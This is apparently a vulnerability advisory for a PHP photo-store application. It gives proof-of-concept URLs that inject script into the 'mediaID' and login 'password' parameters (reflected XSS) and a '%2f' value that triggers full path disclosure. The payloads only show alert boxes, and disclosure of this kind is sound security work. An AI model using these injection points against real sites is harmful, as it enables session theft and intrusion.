# Cross Site Scripting Proof—Of-Concept
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#
# XSS (Severity is Medium)
# The vulnerable parameter is “mediaID” in “workbox.php” file and the parameter “password” in “/mgr.login.php” file which is not sanitized and sent by the user to the application
#
# In Order to exploit this vulnerability, the URL should be like the following examples:
#
# http://server/photostore/workbox.php?mode=addToLightbox&mediaID=“><script>alert(/XSS/)</script>
# http://server/photostore/manager/mgr.login.php?username=demo&password='><script>alert("XSS")</script><input type='hidden
 
 
# Full path disclosure Proof-Of-Concept
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#
# FPD (Severity is low/info)
# The vulnerable parameter is “photoID” in “productshot.php” file which is partially sanitized and therefor an attacker could exploit this only to full path disclosure.
#
# In order to exploit this vulnerability, the url should be like the following example:
#
# http://server/photostore/productshot.php?itemID=1&itemType=prod&photoID=%2f&size=125
